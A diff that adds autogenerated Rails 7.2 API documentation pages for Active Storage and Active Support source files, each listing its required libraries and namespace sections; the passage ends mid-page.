diff --git a/src/7.2/files/activestorage/lib/active_storage/service/configurator_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/configurator_rb.html new file mode 100644 index 0000000000..db5fdf837c --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/configurator_rb.html @@ -0,0 +1,77 @@ +--- +title: configurator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/disk_service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/disk_service_rb.html new file mode 100644 index 0000000000..4245dfeadf --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/disk_service_rb.html @@ -0,0 +1,95 @@ +--- +title: disk_service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
  • pathname
  • + +
  • openssl
  • + +
  • active_support/core_ext/numeric/bytes
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/gcs_service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/gcs_service_rb.html new file mode 100644 index 0000000000..7ad4224255 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/gcs_service_rb.html @@ -0,0 +1,93 @@ +--- +title: gcs_service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • google/apis/iamcredentials_v1
  • + +
  • google/cloud/storage
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/mirror_service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/mirror_service_rb.html new file mode 100644 index 0000000000..dec0409cbc --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/mirror_service_rb.html @@ -0,0 +1,87 @@ +--- +title: mirror_service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/registry_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/registry_rb.html new file mode 100644 index 0000000000..7629941182 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/registry_rb.html @@ -0,0 +1,77 @@ +--- +title: registry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/s3_service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/s3_service_rb.html new file mode 100644 index 0000000000..6f3ebb07fc --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/s3_service_rb.html @@ -0,0 +1,89 @@ +--- +title: s3_service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • aws-sdk-s3
  • + +
  • active_support/core_ext/numeric/bytes
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service_rb.html new file mode 100644 index 0000000000..cda489a69c --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service_rb.html @@ -0,0 +1,97 @@ +--- +title: service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_storage/log_subscriber
  • + +
  • active_storage/downloader
  • + +
  • action_dispatch
  • + +
  • action_dispatch/http/content_disposition
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/transformers/image_processing_transformer_rb.html b/src/7.2/files/activestorage/lib/active_storage/transformers/image_processing_transformer_rb.html new file mode 100644 index 0000000000..4ff72195eb --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/transformers/image_processing_transformer_rb.html @@ -0,0 +1,91 @@ +--- +title: image_processing_transformer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • image_processing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/transformers/transformer_rb.html b/src/7.2/files/activestorage/lib/active_storage/transformers/transformer_rb.html new file mode 100644 index 0000000000..7b920e651b --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/transformers/transformer_rb.html @@ -0,0 +1,79 @@ +--- +title: transformer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/version_rb.html b/src/7.2/files/activestorage/lib/active_storage/version_rb.html new file mode 100644 index 0000000000..3e60148b34 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage_rb.html b/src/7.2/files/activestorage/lib/active_storage_rb.html new file mode 100644 index 0000000000..5b86ed6792 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage_rb.html @@ -0,0 +1,94 @@ +--- +title: active_storage.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record
  • + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_support/core_ext/numeric/time
  • + +
  • active_storage/version
  • + +
  • active_storage/deprecator
  • + +
  • active_storage/errors
  • + +
  • marcel
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/README_rdoc.html b/src/7.2/files/activesupport/README_rdoc.html new file mode 100644 index 0000000000..ccba7dcd95 --- /dev/null +++ b/src/7.2/files/activesupport/README_rdoc.html @@ -0,0 +1,103 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Active Support – Utility classes and Ruby extensions from Rails

+ +

Active Support is a collection of utility classes and standard library extensions that were found useful for the Rails framework. These additions reside in this package so they can be loaded as needed in Ruby projects outside of Rails.

+ +

You can read more about the extensions in the Active Support Core Extensions guide.

+ +

Download and installation

+ +

The latest version of Active Support can be installed with RubyGems:

+ +
$ gem install activesupport
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Support is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/actionable_error_rb.html b/src/7.2/files/activesupport/lib/active_support/actionable_error_rb.html new file mode 100644 index 0000000000..5a0331ab09 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/actionable_error_rb.html @@ -0,0 +1,81 @@ +--- +title: actionable_error.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/all_rb.html b/src/7.2/files/activesupport/lib/active_support/all_rb.html new file mode 100644 index 0000000000..20fe810b20 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/all_rb.html @@ -0,0 +1,69 @@ +--- +title: all.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/time
  • + +
  • active_support/core_ext
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/array_inquirer_rb.html b/src/7.2/files/activesupport/lib/active_support/array_inquirer_rb.html new file mode 100644 index 0000000000..216591d8aa --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/array_inquirer_rb.html @@ -0,0 +1,77 @@ +--- +title: array_inquirer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/backtrace_cleaner_rb.html b/src/7.2/files/activesupport/lib/active_support/backtrace_cleaner_rb.html new file mode 100644 index 0000000000..89925502a7 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/backtrace_cleaner_rb.html @@ -0,0 +1,77 @@ +--- +title: backtrace_cleaner.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/benchmarkable_rb.html b/src/7.2/files/activesupport/lib/active_support/benchmarkable_rb.html new file mode 100644 index 0000000000..44cfdd0135 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/benchmarkable_rb.html @@ -0,0 +1,82 @@ +--- +title: benchmarkable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/benchmark
  • + +
  • active_support/core_ext/hash/keys
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/broadcast_logger_rb.html b/src/7.2/files/activesupport/lib/active_support/broadcast_logger_rb.html new file mode 100644 index 0000000000..dfcf3e3089 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/broadcast_logger_rb.html @@ -0,0 +1,77 @@ +--- +title: broadcast_logger.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/builder_rb.html b/src/7.2/files/activesupport/lib/active_support/builder_rb.html new file mode 100644 index 0000000000..376e9b7885 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/builder_rb.html @@ -0,0 +1,65 @@ +--- +title: builder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • builder
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/coder_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/coder_rb.html new file mode 100644 index 0000000000..686b631ba1 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/coder_rb.html @@ -0,0 +1,83 @@ +--- +title: coder.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/entry_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/entry_rb.html new file mode 100644 index 0000000000..5b5d978407 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/entry_rb.html @@ -0,0 +1,80 @@ +--- +title: entry.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • zlib
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/file_store_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/file_store_rb.html new file mode 100644 index 0000000000..9a912205d2 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/file_store_rb.html @@ -0,0 +1,91 @@ +--- +title: file_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/file/atomic
  • + +
  • active_support/core_ext/string/conversions
  • + +
  • uri/common
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/mem_cache_store_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/mem_cache_store_rb.html new file mode 100644 index 0000000000..6df727bbc3 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/mem_cache_store_rb.html @@ -0,0 +1,99 @@ +--- +title: mem_cache_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • dalli
  • + +
  • connection_pool
  • + +
  • delegate
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/numeric/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/memory_store_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/memory_store_rb.html new file mode 100644 index 0000000000..10ffd3422e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/memory_store_rb.html @@ -0,0 +1,89 @@ +--- +title: memory_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/null_store_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/null_store_rb.html new file mode 100644 index 0000000000..fc03abbd19 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/null_store_rb.html @@ -0,0 +1,81 @@ +--- +title: null_store.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/redis_cache_store_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/redis_cache_store_rb.html new file mode 100644 index 0000000000..5861a6a83f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/redis_cache_store_rb.html @@ -0,0 +1,101 @@ +--- +title: redis_cache_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • redis
  • + +
  • redis/distributed
  • + +
  • connection_pool
  • + +
  • active_support/core_ext/array/wrap
  • + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/numeric/time
  • + +
  • active_support/digest
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/serializer_with_fallback_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/serializer_with_fallback_rb.html new file mode 100644 index 0000000000..eb6c43adbb --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/serializer_with_fallback_rb.html @@ -0,0 +1,96 @@ +--- +title: serializer_with_fallback.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • zlib
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/message_pack
  • + +
  • active_support/message_pack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_middleware_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_middleware_rb.html new file mode 100644 index 0000000000..7931c60038 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_middleware_rb.html @@ -0,0 +1,86 @@ +--- +title: local_cache_middleware.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/body_proxy
  • + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_rb.html b/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_rb.html new file mode 100644 index 0000000000..f8a358b7c6 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache/strategy/local_cache_rb.html @@ -0,0 +1,91 @@ +--- +title: local_cache.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/cache_rb.html b/src/7.2/files/activesupport/lib/active_support/cache_rb.html new file mode 100644 index 0000000000..22e0d9034b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/cache_rb.html @@ -0,0 +1,105 @@ +--- +title: cache.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • zlib
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/numeric/bytes
  • + +
  • active_support/core_ext/object/to_param
  • + +
  • active_support/core_ext/object/try
  • + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/callbacks_rb.html b/src/7.2/files/activesupport/lib/active_support/callbacks_rb.html new file mode 100644 index 0000000000..6bfa8f53d8 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/callbacks_rb.html @@ -0,0 +1,125 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/class/attribute
  • + +
  • active_support/core_ext/string/filters
  • + +
  • active_support/core_ext/object/blank
  • + +
  • thread
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/code_generator_rb.html b/src/7.2/files/activesupport/lib/active_support/code_generator_rb.html new file mode 100644 index 0000000000..65f656a41b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/code_generator_rb.html @@ -0,0 +1,79 @@ +--- +title: code_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/concern_rb.html b/src/7.2/files/activesupport/lib/active_support/concern_rb.html new file mode 100644 index 0000000000..d8a01e06e4 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/concern_rb.html @@ -0,0 +1,72 @@ +--- +title: concern.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor_rb.html b/src/7.2/files/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor_rb.html new file mode 100644 index 0000000000..c2cb2e475b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor_rb.html @@ -0,0 +1,87 @@ +--- +title: load_interlock_aware_monitor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/concurrency/null_lock_rb.html b/src/7.2/files/activesupport/lib/active_support/concurrency/null_lock_rb.html new file mode 100644 index 0000000000..a72cb6c6fb --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/concurrency/null_lock_rb.html @@ -0,0 +1,72 @@ +--- +title: null_lock.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/concurrency/share_lock_rb.html b/src/7.2/files/activesupport/lib/active_support/concurrency/share_lock_rb.html new file mode 100644 index 0000000000..ac17572e96 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/concurrency/share_lock_rb.html @@ -0,0 +1,89 @@ +--- +title: share_lock.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/configurable_rb.html b/src/7.2/files/activesupport/lib/active_support/configurable_rb.html new file mode 100644 index 0000000000..85a1656a48 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/configurable_rb.html @@ -0,0 +1,91 @@ +--- +title: configurable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
  • active_support/ordered_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/configuration_file_rb.html b/src/7.2/files/activesupport/lib/active_support/configuration_file_rb.html new file mode 100644 index 0000000000..bc5f83e4a5 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/configuration_file_rb.html @@ -0,0 +1,89 @@ +--- +title: configuration_file.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • yaml
  • + +
  • erb
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/access_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/access_rb.html new file mode 100644 index 0000000000..3c24f3004b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/access_rb.html @@ -0,0 +1,70 @@ +--- +title: access.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/conversions_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/conversions_rb.html new file mode 100644 index 0000000000..dfb1606d3b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/conversions_rb.html @@ -0,0 +1,93 @@ +--- +title: conversions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/core_ext/object/to_param
  • + +
  • active_support/core_ext/object/to_query
  • + +
  • active_support/builder
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_options_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_options_rb.html new file mode 100644 index 0000000000..889b5e9adc --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_options_rb.html @@ -0,0 +1,72 @@ +--- +title: extract_options.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_rb.html new file mode 100644 index 0000000000..bd50b202b2 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/extract_rb.html @@ -0,0 +1,70 @@ +--- +title: extract.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/grouping_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/grouping_rb.html new file mode 100644 index 0000000000..2774c22ffa --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/grouping_rb.html @@ -0,0 +1,70 @@ +--- +title: grouping.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/inquiry_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/inquiry_rb.html new file mode 100644 index 0000000000..761e9d892b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/inquiry_rb.html @@ -0,0 +1,85 @@ +--- +title: inquiry.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/array_inquirer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array/wrap_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array/wrap_rb.html new file mode 100644 index 0000000000..ad9e564914 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array/wrap_rb.html @@ -0,0 +1,70 @@ +--- +title: wrap.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/array_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/array_rb.html new file mode 100644 index 0000000000..ca622b66b4 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/array_rb.html @@ -0,0 +1,77 @@ +--- +title: array.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/wrap
  • + +
  • active_support/core_ext/array/access
  • + +
  • active_support/core_ext/array/conversions
  • + +
  • active_support/core_ext/array/extract
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/array/grouping
  • + +
  • active_support/core_ext/array/inquiry
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/benchmark_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/benchmark_rb.html new file mode 100644 index 0000000000..398ef2ded0 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/benchmark_rb.html @@ -0,0 +1,78 @@ +--- +title: benchmark.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • benchmark
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal/conversions_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal/conversions_rb.html new file mode 100644 index 0000000000..e8fc538ed6 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal/conversions_rb.html @@ -0,0 +1,80 @@ +--- +title: conversions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • bigdecimal
  • + +
  • bigdecimal/util
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal_rb.html new file mode 100644 index 0000000000..62807b85a0 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/big_decimal_rb.html @@ -0,0 +1,65 @@ +--- +title: big_decimal.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/big_decimal/conversions
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_accessors_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_accessors_rb.html new file mode 100644 index 0000000000..840d205895 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_accessors_rb.html @@ -0,0 +1,71 @@ +--- +title: attribute_accessors.rb +layout: default +--- +
+ + +
+
+ +
+ +

cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d, but we keep this around for libraries that directly require it knowing they want cattr_*. No need to deprecate.

+ +
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_rb.html new file mode 100644 index 0000000000..ace446c30e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/class/attribute_rb.html @@ -0,0 +1,78 @@ +--- +title: attribute.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
